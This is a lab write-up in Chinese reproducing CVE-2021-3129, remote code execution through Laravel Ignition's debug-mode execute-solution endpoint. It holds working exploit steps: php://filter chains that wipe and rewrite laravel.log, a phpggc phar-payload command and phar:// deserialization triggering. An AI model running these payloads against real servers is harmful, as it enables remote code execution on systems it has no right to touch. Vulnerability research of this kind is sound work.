CVE-2021-3129 Laravel debug mode: Remote code execution

Environment

  • Docker Ubuntu 20.04.3
  • PHP 7.3.33
    • How to Check & Install Specific version of PHP in Ubuntu Linux
      1
      sudo docker run -it --name cve-2021-3129 -p 8999:80 ubuntu:20.04
      1
      2
      3
      4
      5
      6
      7
      8
      9
      apt update
      apt install software-properties-common
      add-apt-repository ppa:ondrej/php
      apt-get update
      apt install php7.3=7.3.33-1+ubuntu20.04.1+deb.sury.org+1

      apt install git
      apt install php7.3-xml
      apt install php7.3-mbstring

      Composer

  • 照著 document 的安裝方式
    1
    2
    3
    4
    5
    php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
    php -r "if (hash_file('sha384', 'composer-setup.php') === '906a84df04cea2aa72f40b5f787e49f22d4c2f19492ac310e8cba5b96ac8b64115ac402c8cd292b8a03482574915d1a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
    php composer-setup.php
    php -r "unlink('composer-setup.php');"
    mv ./composer.phar /usr/bin/composer

    Laravel

  • laravel
    1
    2
    3
    4
    5
    6
    7
    git clone https://github.com/laravel/laravel.git
    cd laravel
    git checkout e849812
    composer install
    composer require facade/ignition==2.5.1
    cp .env.example .env
    php artisan key:generate
  • facade/ignition
    • 是個 Laravel default 使用的 error page

      Create vuln

  • resources/views 下面放會產生 error page 的 test.blade.php
    1
    2
    3
    4
    5
    <html>  
    <body>
    <h1> Hello {{ $username }} </h1>
    </body>
    </html>
    (用 apache 當作 server,所以 laravel 資料夾中的東西要整個移到 /var/www/html 底下)
  • service apache2 restart
  • routes/web.php 也要照著裡面本來的格式加上 route,就能看到 error page 了

Analysis

按下 Make variable optional 以後就會發個 POST 到 /public/index.php/_ignition/execute-solution ,data 內容是這樣

1
2
3
4
5
6
7
{
solution: "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
parameters: {
variableName: "username",
viewFile: "/var/www/html/resources/views/meow.blade.php"
}
}

搜尋 execute-solution 可以查到在 vendor/facade/ignition/src/
IgnitionServiceProvider.php 中的這一段

1
2
3
Route::post('execute-solution', ExecuteSolutionController::class)
->middleware(IgnitionConfigValueEnabled::class.':enableRunnableSolutions')
->name('executeSolution');

繼續找到 vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php

vendor/facade/ignition/src/Http/Requests/ExecuteSolutionRequest.php

1
2
$solution = app(SolutionProviderRepository::class)
->getSolutionForClass($this->get('solution'));

到這裡可以知道這個 solution 就是剛剛 request 中的那個 solution

1
solution: "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"

可以繼續搜到
vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

它就是把原本的 $<variableName> 變成 $<variableName> ?? '' 然後寫回頁面,這裡的 variableName 就是剛剛 request 中的 username,其中在 generateExpectedTokens 那邊一大堆其實就只是在檢查有沒有真的如預期生成 $<variableName> ?? '' 這東西而已,所以在 漏洞敘述的文章 中也有提到可以簡化成這樣

1
2
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

到這邊可以用到 file_get_contents 拿到有 payload 的檔案然後再寫出來,但需要一個可以寫 payload 的地方,如果有機會可以上傳檔案,就可以簡單的利用 phpggc 來構造 payload (monolog/rce1 就能用),然後直接用 viewFile 的地方用 phar:// 協議 exploit

但如果不行的時候,laravel 預設的 log 在 storage/logs/laravel.log 是一個有機會可控的地方,送一個 POST 看看能不能寫東西進去


可以,但是為了後續寫檔,先把 log 整個清空會比較好,一開始我也很直覺的想到用 base64 多次 decode 把東西清掉,披露文章一開始也是這樣想,但是會出現問題

1
"viewFile":"php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"

我用了三次 decode 以後出現 ErrorException 了,回去查看 log 也沒有被成功被清空,測試以後發現是 = 的問題,有 = 就有機會出事,多次用 base64 decode 以後總有機會出現 =,實在太難掌控了

所以文章說到他們又回去找有沒有別的 filter 可以用,文章說用 consumed filter 就可以清空檔案了,但這東西我翻遍 php doc 都找不到不知道是哪裡來的,後來翻到 一篇文 裡面用了另外一種方法,提到既然有 = 會出事,先讓內容先都變成非 base64 字元再 base64 decode,自然就會全部消失了,用的方法是 UTF-8 -> UTF-16BE -> printable -> UTF-8

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

成功清空 log 了,剩下就是要怎麼讓寫入的 payload 留下來,在剛剛測試的時候看到 log 的格式,於是再來又要處理兩點

  1. 前面的 prefix
  2. Payload 出現了兩次
    1
    [prefix]PAYLOAD[midfix]PAYLOAD[suffix]
    原文的方法是先過一遍 convert.iconv.utf16le.utf-8,把一般的 payload 用 null byte padding 過就能濾掉沒 padding 過的非 utf16le 的字元了
    1
    2
    3
    4
    # echo -ne "123456321ij T\0E\0S\0T\0 sdfghjkluyhjkio" > /tmp/test.txt

    # php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
    ㈱㐳㘵㈳椱TEST猠晤桧歪畬桹歪潩
    在實驗的時候也會發現到如果沒有好好 padding 就沒辦法正常 convert 出來,這裡文章巧妙的利用在 payload 裡面多加一 byte 來讓他對不齊(兩次 payload 之間夾著奇數 byte),這個做法可以成功處理 padding 問題,又能解決 payload 出現兩次這點 (第一次沒有成功對齊第二次就會對齊)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # echo -ne "123456321fi T\0E\0S\0T\0S\0X sdfghf T\0E\0S\0T\0S\0X kluyhjkio
    " > /tmp/test.txt

    # php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
    ㈱㐳㘵㈳昱⁩TESTS摳杦晨吠䔀匀吀匀堀欠畬桹歪潩

    # echo -ne "123456321fij T\0E\0S\0T\0S\0X sdfghf T\0E\0S\0T\0S\0X kluyhjkio" > /tmp/test.txt

    # php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
    Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in Command line code on line 1
    ㈱㐳㘵㈳昱橩吠䔀匀吀匀堀猠晤桧⁦TESTS汫祵橨楫
    但是到這裡又出現兩個問題
  3. 前面那次測試也有出現的那個 warning
  4. Null byte 經過 file_get_contents 也會出現 warning

第一個問題可以先寫一次 padding 來解決,讓 prefix、midfix、suffix 都分別出現雙數次

1
2
[prefix]padding[midfix]padding[suffix]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

第二個問題文章提出用 =00 來代替 Null bytes 然後再過 convert.quoted-printable-decode 就能安全通過了,所以最後 payload 會是 base64 -> utf16le -> null to =00 然後過這個 filter 回來

1
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

POC

  1. 清空 error log
    1
    php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
    或是
    1
    php://filter/read=consumed/resource=../storage/logs/laravel.log
  2. 先送一個確保 alignment 的 request

    在送第一次的 alignment 用的 request 的時候,因為 payload 送出後產生的 log 會是 failed to open stream: File name too long 的 error,第一次送的 payload “viewFile” 長一點也產生一樣的 error 會比較不容易出錯(”viewFile” 如果比較短 error 會是 failed to open stream: No such file or directory
  3. 產生 payload,用前面有提到過的 phpgcc 生成
  4. 經過 base64 encode 後再加上 padding 變 utf16le 然後把 null 換成 =00,這裡用 Laravel/RCE8monolog/rce1 都可以
    1
    ./phpggc monolog/rce1 system "touch /tmp/pwned" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
  5. 送要寫進 error.log 中的 payload
    測試時一直出現 stream filter (convert.quoted-printable-decode): invalid byte sequence 的錯誤,結果發現 log 的 stacktrace 中也會出現一部分的 payload,如果直接單純的送 payload 就會出現錯誤

    所以在這一步驟發現 payload 還得在開頭塞一點垃圾來避免因為下面出現了一點 convert 過的 payload 讓 filter 出問題,建議這個垃圾要塞 > 15 奇數個字
  6. 把 payload decode 回來並清掉 payload 以外的垃圾
  7. 用 phar:// 去觸發 payload

    成功寫檔

Other

用 php 造 phar 的方法

1
2
3
4
5
6
7
8
<?php

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('x', 'x');
$phar->setStub('<?php __HALT_COMPILER(); ?'.'>');
$phar->setMetadata(new <class_name>);
$phar->stopBuffering();

Ref


CVE-2021-3129 Laravel debug mode: Remote code execution
https://wiiwu959.github.io/2022/03/08/2022-03-07-CVE-2021-3129/
Author
Wii Wu
Posted on
March 8, 2022
Licensed under